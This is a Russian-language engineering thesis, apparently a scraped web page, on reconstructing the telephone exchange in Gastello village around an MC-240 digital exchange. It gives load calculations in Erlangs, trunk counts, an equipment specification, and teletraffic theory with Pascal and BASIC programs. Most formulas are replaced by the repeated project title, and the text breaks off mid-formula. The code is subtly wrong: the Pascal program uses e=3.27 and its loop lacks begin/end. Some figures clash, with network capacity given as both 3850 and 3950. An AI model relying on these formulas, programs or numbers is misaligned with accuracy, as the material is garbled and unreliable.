Число модулей данного вида
16АК0

2

5

8

1

15

16

33
16АК1

1

5

8

1

15

16

33
16АК2

2

5

8

1

15

16

33
16АК3

1

5

8

1

15

16

33
16АК4

2

5

8

1

15

16

33
16АК5

1

5

8

1

15

16

33
16АК6

2

5

8

1

15

16

33
16АК7

1

5

8

1

15

16

33
16АК8

2

5

8

1

15

16

33
16АК9

1

5

8

1

15

16

33
16АКn

2

5

8

1

15

16

33
16АК33

2

5

8

1

16

16

33
Итого

50

160

270

10

10

500

3.1.4 Расчет и распределение нагрузки на сети

3.1.4.1 Расчет интенсивности абонентской нагрузки

Возникающую нагрузку создают вызовы (заявки на обслуживание), поступающие от абонентов (источников) и занимающие на некоторое время различные соединительные устройства станции.

Согласно ведомственным нормам технологического проектирования следует различать три категории (сектора) источников: деловой сектор, квартирный сектор и таксофоны.

При этом интенсивность местной возникающей нагрузки может быть определена, если известны следующие ее основные параметры:

— Nд, Nкв, Nт — число телефонных аппаратов делового сектора (для упрощения объеденяем административный и народнохозяйственные сектора), квартирного сектора и таксофонов;

— Cд, Cкв, Cт — среднее число вызовов в ЧНН от одного источника i-й категории;

— Tд, Tкв, Tт — средняя продолжительность разговора абонентов i-й категории в ЧНН;

— Pр — доля вызовов, закончившихся разговором.

Интенсивность возникающей местной нагрузки источников i-й категории, выраженная в Эрлангах, определяется формулой

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240, Эрл (3.3)

где ti — средняя продолжительность одного занятия, с.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (3.4)

Продолжительность отдельных операций по установлению связи, входящих в формулу, принимают следующей: время слушания сигнала ответа станции tсо=3c; время набора n знаков номера с дискового ТА n*tн=n*1.5c; время набора n знаков номера с тастатурного ТА n*tн=n*0.8c; время посылки вызова вызываемому абоненту при состоявшемся разговоре tпв=7-8c; время установления соединения tу с момента окончания набора номера до подключения к линии вызываемого абонента зависит от вида связи, не делая большой погрешности, можно принять tу=2c.

Коэффициент ‘a’ учитывает продолжительность занятия приборов вызовами, не закончившимися разговором (занятость, не ответ вызываемого абонента, ошибки вызывающего абонента). Его величина в основном зависит от средней длительности разговора Ti и доли вызовов, закончившихся разговором Pp, и определяется по графику [ ].

Средняя продолжительность одного занятия в квартирном и деловом секторе для АТСЭ:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Интенсивность возникающей местной нагрузки от квартирного делового сектора:

Yкв=1/3600*270*0,9*69,62=4,70 Эрл

Yнх=1/3600*230*3,1*59,52=11,78 Эрл

Нагрузка к спецслужбам:

Yсп=0,03*500=15 Эрл (3.5)

Таким образом, возникающая на входе ЦКП местная нагрузка от абонентов различных категорий, включенных в проектируемую станцию, определяется формулой:

Yвоз = Yнх + Yкв +Yсп (3.6)

Yвоз =4,70+11,78+15=31,48 Эрл

Внутренняя нагрузка определяется:

Yвн= Yвоз*Nj/Nсети (3.7)

Yвн=31,48*500/3950=3,98 Эрл

Междугородную исходящую нагрузку, то есть нагрузку на заказно-соединительные линии (ЗСЛ) от одного аналогового абонента можно считать равной 0,003 Эрл, и ее нужно прибавить к местной нагрузке.

Yмг=0,003*N (3.8)

Yмг =0,003*500= 1,5 Эрл

Аналогично междугородной нагрузке, исходящую и входящую международную нагрузку считаем равными, но 0,006 Эрл на одного абонента, и ее нужно прибавить к местной нагрузке.

Yмн=0,006*N (3.9)

Yмн =0,006*500=3 Эрл

Исходящая нагрузка от абонентов АТСЭ определяется:

Yисх=(Yвоз-Yвн)+Yмг+Yмн (3.10)

Yисх =(31,48 — 3,98)+1,5+3=32 Эрл

Результаты расчетов сведем в таблицу 3.4 и таблицу 3.5.

Таблица 3.4 — Исходящая нагрузка на ОС

Наименование

модуля

Наименование нагрузки, Эрл
Yкв

Yнх

Yсп

Yвоз

Yвн

Yмг

Yмн

Yисх
Модуль 16АК

4,70

11,78

15

31,48

3,98

1,5

3

32
Всего

4,70

11,78

15

31,48

3,98

1,5

3

32

3.1.4.2 Расчет входящей нагрузки на АТСЦ

Для расчета входящей нагрузки на АТСЦ необходимо знать емкость каждой АТС на сельской телефонной сети и коэффициент тяготения между станциями внутри узлового района, т.е. необходимо знать возникающую нагрузку от других АТС СТС воспользуемся следующей формулой:

Yрi.=Nn*0,060 Эрл (3.11)

где Nn — емкость n — АТС сети; 0,060 — удельная нагрузка на выходе КП АТС, создаваемая одним абонентом (0,040-0,060 Эрл/АЛ).

Абоненты рассматриваемой ОС п. Гастелло связаны с другими АТС СТС через ЦС, поэтому достаточно определить в упрощенном виде:

Api.=3850*0,060=231 Эрл

Чтобы определить величину нагрузок между проектируемой и существующими АТС, можно использовать метод пропорций:

Аij=Api*Nj/Nc (3.12)

Аij=231*500/3850=30 Эрл

Интенсивность средней входящей междугородной нагрузки на СЛМ (соединительную линию междугородную) определяется:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (3.13)

где аслм — удельная входящая междугородная нагрузка на одну абонентскую линию (Эрл). По рекомендациям ВНТП 0,0075 Эрл/АЛ [ ]:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 Эрл

Аналогично определяем для абонентов входящую междугородную связь ASM и вносим в таблицу 3.5.

Таблица 3.5 — Расчет входящей нагрузки на АТСЦ (ОС3)

Наименование

модуля

Api., Эрл.

(СТС)

Аij, Эрл.

(ЦС-ОС3)

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240, Эрл.

Амг, Эрл.

Аобщ вх, Эрл.
ASM

231

30

3,75

1,88

35,63

3.1.4.3 Расчет числа исходящих и входящих соединительных линий

Исходными данными для расчета числа СЛ являются величины нагрузок, поступающих на пучки линий и нормы потерь. Число СЛ определяется по первой формуле Эрланга. Результат определения числа СЛ от ОС по всем направлениям сводятся в таблицу 3.6.

Полнодоступное включение СЛ имеют АТС типа Квант, АТСК 50/200, все цифровые АТС и АМТС.

Неполнодоступное включение СЛ на сельских телефонных сетях имеют АТСК 100/2000. Для расчета числа входящих СЛ воспользуемся методом эффективной доступности. Для АТСК 100/2000 расчет производим при Вэ = 12. В нашем случае данный способ не применяется, так как оборудовании ОС и ЦС цифровые. Для нашего случае данный способ не применяется.

Распределение нагрузки на проектируемой ЦАТС (ОС3) показано на рисунке 1 Приложения Е.

Расчёт количества каналов и потоков определяется:

Vобщ = (Yвх. + Yвх.АМТС + Yвх.Мг + Yисх.АМТС +

+ Yисх. .Мг + YУСС + Yисх.) / 0,7+1 Эрл (3.14)

где 0,7 — стандартный коэффициент нагрузки на 1 канал.

Vобщ = (30 +3,75 +1,88 +3 + 1,5 + 3 + 15 + 32 )/0,7+1 = 130 линии

Число соединительных линий на отдельных участках сети (таблица 3.6).

Таблица 3.6 — Число соединительных линий на отдельных участках сети

Направление

Нагрузка,

Эрл

Потери, Эрл.

Число СЛ

Число потоков

Примечание
ОС 3 — ЦС

32

0,005

67

2+1

3 неполных

потоков

ЦС — ОС 3

30

0,005

63

2+1

3 неполных

потоков

Из расчетов видно, что количество СЛ между ЦС и ОС8 (п. Гастелло) на базе аналогового оборудования КНК-12 не удовлетворяет растущий спрос населения и организации по оказанию услуг телекоммуникации, поэтому необходимо в будущем заменить устаревшую аппаратуру и линию связи (МСС).

Необходимое количество блока модуля соединительных линии 2Е1 определяется по формуле:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (3.15)

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Спецификация необходимых блоков приведены ниже в виде таблицы 3.7.

Таблица 3.7 – Спецификация оборудования ОС3

Наименование модуля

Обозначение

Состав и назначение

Количество

Примечание
1

2

3

4

5
Блок коммутации потоков
Модуль процессора коммутатора потоков

ЦКП

Управление работой блока, цифровая коммутация каналов

Модуль цифровых потоков коммутатора потоков

М16Е1

Модуль цифровых СЛ для подключения до 16-ти цифровых потоков Е1

Блок абонентских линий. Базовые модули
Модуль блока питания

БП24-60

Питание аппаратуры от источника постоянного тока напряжением 24… 60 В

БП220

Питание аппаратуры от источника переменного тока 220 В / 50Гц

Модуль центрального процессора

ЦП

Управление работой блока, цифровая коммутация каналов, установка субмодулей C4E1, СКС и CГC

Субмодуль 4Е1

С4Е1

4 интерфейса Е1

Субмодуль LVDS

СКС

Подключение до 4-х блоков расширения

Субмодуль голосовых сообщений

СГС

Реализация функций голосовых сообщений и автоинформатора

Модуль расширения

КС

Контроль блока расширения и связь с основным блоком станции

Субмодуль телеметрии

МТС

Интерфейс для подключения датчиков и исполняющих устройств. Устанавливается на обратной стороне каркасе, не занимает слотоместа.

Блок СОРМ

СОРМ

Используется для обеспечения функций СОРМ, исполнение 19” 1U.

Блок абонентских линий. Абонентские модули
Модуль абонентских комплектов

24АК

24 абонентских комплекта, со встроенной защитой по току и напряжению, встроенное тестирование АЛ, генерация вызывного напряжения, генерация CallerID/АОН, прием DTMF, переполюсовка, подача тарифных импульсов

Модуль спаренных абонентских комплектов

16СК

16 спаренных комплектов, со встроенной защитой по току и напряжению

Модуль системных телефонов

16СТ, 24СТ

16/24 комплекта для подключения цифровых системных аппаратов

Выносной модуль

ТАД-4

4 абонентских комплекта с тестированием АЛ + Ethernet

Абонентский/станционный модуль DSL

4DSL

4 комплекта для подключения блоков ТАД-4 или организации межстанционной связи по DSL линиям (G.SHDLC) + Ethernet

Блок абонентских линий. Модули соединительных линий
Модуль цифровых потоков

2Е1

2 комплекта цифрового линейного интерфейса со скоростью 2048 кбит/с (AMI, HDB3)

Модуль цифровых потоков ИКМ-15

2И15

2 комплекта цифрового линейного интерфейса со скоростью 1024 кбит/с (NRZ, AMI, HDB3)

Модуль цифровых СЛ

8ТМ

Модуль цифровых СЛ для подключения к станции до 8-ми цифровых потоков Е1 со скоростью 2048 кбит/с

Модуль окончаний каналов ТЧ

8ТЧ

8 комплектов двух/четырёх/шестипроводных окончаний каналов ТЧ, внеполосная и внутриполосная сигнализация

Модуль аналоговых 2хпр. СЛ

8АЛ

8 комплектов для подключения в абонентские комплекты АТС

Шлюз IP

TM.IP

Модуль шлюза для подключения к IP-сетям, интерфейс 100 BASE-T

Математические методы анализа цифровых АТС

3.2.1 Определение пропускной способности коммутационного поля

На рисунке 3.1 приведена структура системы коммутации каналов. На вход системы поступает простейший поток вызовов с параметрами λ. Для вызова, поступающего на вход системы, может потребоваться соединение с одним и только одним каналом, причем безразлично, с каким именно, и по какому пути. Длительность обслуживания для всех непотерянных вызовов предполагается независимой и распределена по одинаковому для всех вызовов экспоненциальному закону со средней длительностью обслуживания, равной μ-1 параметры коммутационного поля считается заданным.

Любой вызов обслуживается управляющим устройством, которое получает информацию о поступлении вызова, его требованиях и состоянии самого коммутационного поля.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

ИН – источник нагрузки; ОП – обслуживающий прибор; КП – коммутационное поле; УУ – управляющее устройство

Рисунок 3.1 – Структура системы коммутации

На основании такой информации управляющее устройство принимает и осуществляет решение об обслуживании данного вызова, если в момент поступления вызова имеется хотя бы один свободный обслуживающий прибор и соединительный путь к нему через коммутационное поле, или отказе в обслуживании в противном случае. Предполагается, что дисциплина обслуживания зависит только от трех факторов: номера, которому принадлежит данный вызов, номера выхода (обслуживающего прибора или канала связи), с которым требуется соединение, то есть от того, какие именно соединения установлены к моменту поступления рассматриваемого вызова и какими именно путями соединения проходят. Предположим также, что занимаемые пути соединения определяются случайно, а решение об обслуживании и установлении принимается управляющим устройством с интенсивностью Мс.

Влияние управляющего устройства сказывается только на этапе установления соединения, которое абонент ощущает в виде задержек зуммерных сигналов “Ответ станции” и “Контроль посылки вызова”.

В уже установленное соединение, управляющее устройство никаких задержек не вносит. Задержки зуммерных сигналов нормируется Рекомендацией МККТТ Q.514 и вычисляются согласно формуле:

F(t+)=1-e-(Mc-λ) t (3.16)

где F(t+) – значении функции распределения времени ожидания (ФРВО) конца обслуживания вызова системой в момент tдоп.

Для расчета производительности управляющего устройства исходными являются параметры F(t+), tдоп , λ. Подставляя их в (3.16), итеративным приближением находим минимальную производительность управляющего устройства Мс.

Пропускная способность коммутационного поля рассчитывается независимо от параметров (производительности, быстродействия) управляющего устройства и приведена ниже:

π =Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

где А=λ/μ – интенсивность поступающей нагрузки;

[0]=Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Для полнодоступного пучка φХ=0, х=0, V-1, φv=1,

π=Ev(A)=Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (3.17)

Исходными для расчета пропускной способности коммутационного поля являются, параметры π и А. Подставляя их в (3.17), итеративным приближением находим минимальную емкость пучка, обеспечивающую требуемую пропускную способность.

На проектируемую систему коммутации задан поступающий простейший поток вызовов с нагрузкой А=90 Эрл. Средняя продолжительность разговора μ-1=3 минуты (μ=20ч-1, минимальная производительность управляющего устройства Мс=5,5 с-1. Определим функцию распределения времени ожидания конца обслуживания вызова системой коммутации каналов F(t+) на уровне tдоп=0,6с и минимальной емкости V=10 каналов. Находим параметр поступающего потока вызова λ=Α*μ=1800 ч-1=0,5 с-1.

Решение произведем на языке программирования Pascsal.

program 3.l6;

uses crt;

const e=3.27;

var Ft,ly,t,mc:real;

begin

clrscr;

writeln(‘e=’,e:4:2);

write(‘inter ly=’);read(ly);

write(‘inter t=’);read(t);

write(‘inter mc=’);read(mc);

Ft:=1-exp((-(mc-ly)*t)*ln(e));

writeln(‘Ft=’,Ft:4:4);

end.

inter ly=0.5

inter t=0.6

inter mc=3

Ft=0.9714

program 3.17;

uses crt;

const v=10;

var Pi,A,ly,u,sum,fi,fv:real;

z:array[1..v] of integer;i:integer;

begin

clrscr;

write(‘inter ly=’);read(ly);

write(‘inter u=’);read(u);

writeln(‘inter v=’,v);

A:=ly/u;

writeln(‘A=’,A:4:4);

sum:=0;

fi:=1;

fv:=1;

for i:=1 to v do

fi:=fi*i;

sum:=sum+exp(i*ln(A))/fi;

fv:=fv*i;

Pi:=exp(v*ln(A))/fv;

writeln(‘Pi=’,Pi:4:10);

end.

inter ly=0.5 inter u=3

inter v=10 Pi:=0,0000000001.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.2 — Структурная схема алгоритма программы 3.16

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.3 – Структурная схема алгоритма программы 3.17

3.2.2 Определение надежности систем коммутации с ненадежными элементами

Современные системы распределения информации представляют собой весьма сложный комплекс программно – аппаратных средств, и в связи с этим надежность всей системы зависит от надежности, как программного обеспечения, так и аппаратных средств.

Понятие надежности программного обеспечения связано с тем, что вычислительный процесс обслуживания вызовов, организуемый управляющим устройством, базируется в оперативном запоминающем устройстве, с информацией о текущем состоянии системы, хранящейся в оперативном запоминающем устройстве с информацией о текучем состоянии системы, хранящийся в периферийном управляющем устройстве. Разночтение между содержимым ОЗУ и ПУУ – вещь совершенно нормальная, ибо именно оно и служит для организации вычислительного процесса, в результате которого УУ «выравнивает» (проводит во взаимно однозначное соответствие) содержимое ОЗУ и ПУУ согласно алгоритму функционирования системы. Однако под действием случайных влияний (помех) содержимое ОЗУ и ПУУ может самопроизвольно (без ведома УУ) измениться и не вписаться в рамки разрешенных логических состояний, свойственных нормальному протеканию процесса обслуживания вызова. Поэтому УУ вынуждено тратить часть своей производительности на восстановление (регенерацию) истинного или, по крайней мере, разрешенного состояния системы. Регенерация производится автоматически операционной системой УУ без вмешательства оператора как в моменты спада нагрузки, так и на фоне обслуживания вызовов, и призвана удерживать пропускную способность системы от последствий помех. Способы и методы, с помощью которых достигается поставленная цель – построение надежного программного обеспечения, — есть сложная самостоятельная задача. Известные методы расчета пропускной способности систем распределения информации часто сводится к использованию одной из двух моделей, учитывающих только неисправность линий (под линией кроме самого комплекта соединительной линии принимается и соответствующие линейно – кабельные сооружения связи) как наименее надежного элемента системы.

В первой модели занятость линии определяется двумя потоками: собственно вызов (с интенсивностью λ, интенсивностью обслуживания μ, интенсивностью нагрузки A=λ/μ) и потоком моментов выхода из строя линий, образуемым конечным числом источников нагрузки – числом исправных линий. В состоянии с k исправными линиями интенсивность выхода одной из них из строя равна kω, интенсивность ее обслуживания θ, интенсивность нагрузки AL=ω/θ. Если предложить, что линии выходят из строя намного реже, чем поступают вызовы, имеем два независимых процесса: процесс обслуживания вызовов, который описывается формулой Эрланга с переменным числом исправных линий, и процесс выхода из строя и восстановления линий, где число исправных линий описывается распределением Энгсета. Следовательно, вероятность потери вызова на V-линейном пучке.

В=Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Во второй модели также имеются два потока: простейший поток вызовов с интенсивностью нагрузки A=λ/μ и простейший поток моментов выхода из строя линий, причем последний имеет абсолютный приоритет и интенсивность отказов AL=ω/θ. Вероятность потери источника вызова B=EV(A+AL), а полезная нагрузка A0= λ(1-B)tm, где tm- средняя длительность обслуживания источника вызова. Так как обслуживание вызова может быть прервано, то tmРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 μ-1, A0=A[1-EV(AL=a)]-A[EV(AL+A)-EV(A)].

Рассмотрим систему распределения информации, которая в общем виде (рисунок 3.4) состоит из абонентских комплектов, коммутационного поля, комплектов соединительной линии и управляющих устройств. К управляющим устройствам относятся центральное и периферийные управляющие устройства.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.4 — Модель СМО с надежными элементами

Коммутационное поле имеет N входов, выходы КП разбиты на h направлений, пучок линий в j-м направлении содержит Vj линий (j=Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240). Вызову, поступившему на вход системы, может потребоваться соединение с одной и только одной линией определенного для данного вызова направления, причем безразлично, с какой именно и по какому пути.

Поток вызовов, поступающий на вход системы, будем считать примитивным (пуассоновской нагрузкой второго рода), если число источников нагрузки NРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240100α/μ или простейшим (пуассоновской нагрузкой первого рода) при N>100α/μ. В первом случае параметр свободного источника вызовов α, интенсивность обслуживания вызова μ, интенсивность поступающей нагрузки a0=α/μ. Во втором случае параметр потока вызовов λ=Nα, интенсивность обслуживания μ, интенсивность нагрузки – А0=λ/μ. Вероятность того, что поступающий вызов i-го входа потребует соединения с j- м направлением может зависеть как от номера входа, так и от номера направления. Будем считать, что эта вероятность зависит только от j. В этих условиях характер потока вызовов в направлении сохранится, его интенсивность аj=kja0(Aj=kjA0). Структурные параметры КП предполагаются известными. Элементами системы обладают конечной надежностью.

Последнее означает, что на элементы системы воздействует поток неисправностей, который может быть примитивным или простейшим с интенсивность нагрузке АА.К. для абонентских комплектов, АК.Э для коммутационных элементов КП, АМ.С.для монтажных соединений АЛ для линейных (исходящих, входящих комплектов), АШ для шнуровых комплектов, АР для периферийных управляющих устройств, АС для центрального управляющего устройства. Поток неисправностей всегда примитивны, однако в тех случаях, когда параметр потока неисправностей одного элемента весьма мал, а число элементов велико, характер потока близок к простейшему. Интенсивности восстановления неисправных элементов системы соответственно равны ra.r.,…, rc.

Любой вызов обслуживается центральным управляющим устройством, имеющим Vс — кратный резерв, которое будучи в неисправном состоянии, через Vр периферийных управляющих устройств получает информацию о поступлении вызова, его требованиях (например, номере в направлении с которым нужно установить соединение или в номере входа по которому поступил вызовов), о состоянии сомой системы, то есть о том, какими путями в КП проходят установленные соединения и какие элементы системы исправны. Неисправные элементы системы обнаруживаются мгновенно.

На основании такой системы ЦУУ принимают и осуществляют решения об обслуживании данного вызова или отказе занятие соединительных путей КП происходит случайно. В случая неисправности ЦУУ всех поступающих системы вызова теряются. При неисправности АК теряются вызовы, поступающие на этот комплект. Восстановление неисправных элементов системы, работающей необслуживаемом режиме, начинается с момента прибытияре5монтно — восстановительной бригады.

За основу расчета примем факт что реальная способность системы определяется числом только исправных элементов. Образующих фактическую структуру системы. Таким образом, определение пропускной способности системы с ненадежными элементами, по сути, сводится нахождению фактической структуры (или нагрузки) и расчету пропускной способности известными методами для систем с абсолютно надежными элементами.

Коммутатор с ненадежными линиями.

Пусть N=n, j=h, Vj=V, s=1, где n – число входов в коммутатор; s – число звеньев коммутации. Надежность коммутационных элементов и монтажных соединений внутри коммутатора намного выше надежности выходов из коммутатора, то есть Ак.э.=Ам.с.=0, Ал>ю предположим, что линии (выходы из коммутатора) выходят из строя намного реже, чем поступают вызовы. Тогда имеем два независимых процесса: обслуживания вызовов с переменным числом dл обслуживающих (исправных) линий, а также выхода и восстановления линий, число неисправных линий в котором равно V-dл. следовательно, с учетом (3.16) вероятность потерь по времени

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240, (3.18)

где Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 — условные потери для вызовов первого потока в состоянии с y занятыми линиями второго потока и (V-y) занятыми первого потока.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

где Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 – потери по формуле Энгсета на dл- линейном пучке;

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 – потери по формуле Эрланга на dл линейном пучке.

Далее приведена программа для расчета ненадежных линий в коммутаторе на языке BASIC. Программа вычисляет вероятность потерь p = Р в полнодоступном пучке с ненадежными линиями при известной емкости пучка V = 1, интенсивности нагрузки поступающего простейшего потока вызовов B = 25,56 на центральную станцию от оконечных станций, интенсивности нагрузки поступающего простейшего потока неисправностей А = 3.

10 INPUT A, B, V

20 V1 = V

30 A1 = B

40 GOSUB 220

50 D = 1

60 W = 1

70 Z = E1

80 IF V <= 0 GOTO 160

90 W = (W * A) / D

100 V1 = V — D

110 GOSUB 220

120 H = W * E1

130 Z = Z + H

140 D = D + 1

150 IF D <= V GOTO 90

160 V1 = V

170 A1 = A

180 GOSUB 220

190 P = Z / Z1

200 PRINT «P=»; P

210 STOP

220 I1 = 1

230 W1 = 1

240 Z1 = 1

250 IF V1 <= 0 GOTO 280

260 W1 = (W1 * A1) / I1

270 Z1 = Z1 + W1

280 E1 = W1 / Z1

290 I1 = I1 + 1

300 IF I1 <= V1 GOTO 260

310 RETURN

320 END

? 2,5,1

Р = 0,879.

Выше была приведена программа расчета ненадежных линий в коммутаторе.

3.2.3 Оценка требуемого числа каналов и вероятности потери вызова методом динамики

Используемая формула Эрланга.

При технико – экономической оценке проектируемых канальных емкостей в функции числа абонентов и создаваемой ими нагрузки при заданных характеристиках качества обслуживания. Применительно к системам с коммутацией каналов основной характеристикой является вероятность потери первичного вызова, который для простейшего потока первичных вызовов совпадает с вероятностью занятости всех выходов в системе, или всех единичных каналов. В телефонных сетях требование к качеству по потерям вызовов обычно нормируется средним числом вызовов, приходящихся на один теряемый.

В классической теории телетрафика оценка вероятности Рn потери вызова традиционно базируется на модели многоканальной системы массового обслуживание с отказами. Размеченный граф состояние такой системы показан на рисунке 3.5. Здесь S0, S1, …,Sn — состояния, пронумерованные по числу занятых каналов (S0 – все каналы свободны; S1 – заняты один канал, остальные свободны; Sn – заняты все n каналов); интенсивность λ=1/Тз поступление заявок и интенсивность μ=1/tс обслуживания выражаются через средний интервал Tз (между поступлениями заявок) и среднее время tc обслуживания. Для оценки Pn используется формула В Эрланга, или первая формула Эрланга для системами с потерями:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

S0 – все каналы свободны; S1 – заняты один канал, остальные свободны; Sn – заняты все n каналов

Рисунок 3.5 – Модель многоканальной системы

Pn=(Rn/n!)/Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (3.19)

где R= λ/ μ – приведенная интенсивность поступление заявок на обслуживание. Если tc, Тз выражены в часах то R=tc/Тз может интерпретироваться как телефонная нагрузка в Эрлангах.

Определенные неудобства оперирования с факториалами (особенно при больших значениях n) заставляют для определения Рn или необходимого n при заданном числе N абонентов и фиксированном Рn пользоваться таблицами Еn(R) рекуррентной формулой Еn(R)=F[En-1(R),n,] либо приближением Стирлинга, практически приводящим к вычислению частного от деления близких табличных значений интеграла Лапласа.

Новая формула для числа каналов.

Метод динамики моментов базируется на тех же исходных линейных дифференциальных уравнениях теории непрерывных Марковских цепей, описывающих изменение вероятностей дискретных состояний в непрерывном времени, что и формула В Эрланга. Метод предусматривает агрегирование состояний однородных и независимых элементов системы на основании того, что среднее число Ei элементов, находящихся в i–м состоянии, есть произведение общего числа элементов n(ΣEi=N) на вероятность пребывания pi в состоянии I (рисунок 3.6).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3.6 – Состояние системы

1 – пассивное состояние элементов системы; 2 – состояние занятия каналов

В данном случае элементами системами являются абоненты, каждый из которых может находиться в одном из двух состояний: в пассивном 1 и в состоянии занятия канала 2 на время сеанса связи (рисунок 3.6).

Если λ и μ – интенсивности перехода одного абонента между состояниями 1,2, то уравнения динамики средних имеют вид:

dE1/dt=-λE1+ μE2;

dE2/dt=λE1+ μE2. ;

отсюда для установившегося режима

dE1/dt=dE2/dt=0;

среднее число занятых каналов

Е2=Nρ+(1+ρ),

где ρ=λ/μ.

Пусть дискретная случайная величина на хij может принимать только два значения:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240хi = 1, если j-й элемент находится в состоянии i;

0,в противном случае.

Ряд распределения имеет для каждого j один и тот же вид:

Значения хi

0

1
вероятности

1-рi

pi

Здесь pi – вероятность пребывания в состоянии i.

Поэтому дисперсия численности состояния i=2 есть сумма N одинаковых значений дисперсии величины xij=xi

D[x2]=(0-p2)2(1-p2)+ (1-p2)2,

то есть

D2=E2(1-E2/N)=Nρ(1+ρ)2.

В соответствии с “правилом трех сигм” практически возможное максимальное значение числа занятых каналов составляет Е2+3Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (естественно, в предложении о нормального распределении числа занятых каналов). На этом основании требуемое число n каналов для обслуживания N абонентов, каждый из которых создают в ЧНН нагрузку ρ, выражается как:

n=(Nρ+KРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240,; (3.20)

где

2,2- при допустимости в среднем одного отказа на 70 вызовов;

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240К= 2,31 – для одного отказа в среднем на 100 вызовов.

K – коэффициент допустимости отказа, определяемый как значение аргумента (нормированного средним квадратическим отклонением) при подходящем значении функции нормального распределения. Заметим, что в (3.2) Nρ имеет тот же смысл, что R в (3.16).

Для оценки точности формулы (3.17) можно сравнить результаты вычислений по (3.17) с таблицами значений требуемого количества каналов n=n(N, Pn), вычисленных по En(R). Такое сопротивление для ρ=0,05 (то есть для нагрузки одного абонента 0,05 Эрл) показало, что даже для небольших значений n (порядка десятков) различие – менее 1% .

Вероятность потери вызова.

Для определенных выше (по методу динамики средних) математического ожидания E2 и дисперсии D2 и в соответствии с предположении о нормальном распределении случайной численности состояния (2) вероятность отказа Ротк можно выразить через интеграл Лапласа:

Ф(у)=Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

то есть вероятность превышения такой случайной величиной значения n , или превышения отклонения от среднего Е2=Nρ/(1+ρ) величины n-E2:

РоткРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240; (3.21)

Подстановка (3.17) в (3.18) дает Ротк Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-2401-2F(K). Ошибка

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240Ротк=Ротк-Рn;

где Рn соответствует (3.16) и определяется только ошибкой Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 по (3.17), а также ошибкой, связанной с предположением о нормальном распределении численности состояния.

Влияние ошибки Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 на погрешность определения Ротк по формуле (3.18) можно оценить из сопоставления с вычислениями по (3.17) при К=2,2…2,31, (то есть для Ротк=0,1…0,014), NРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-24020 и значениях 0,04Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-2400,01, характерных для нагрузки создаваемых для ЧНН средним абонентам квартирного телефона. В частности, Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240Ротк<0,03Рn для Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240n=(0.01…0,015)n и погрешность определения Ротк из-за ошибки оценки n порядка 1…1,5% составляет менее 3%или по абсолютному значению Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240РоткРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС 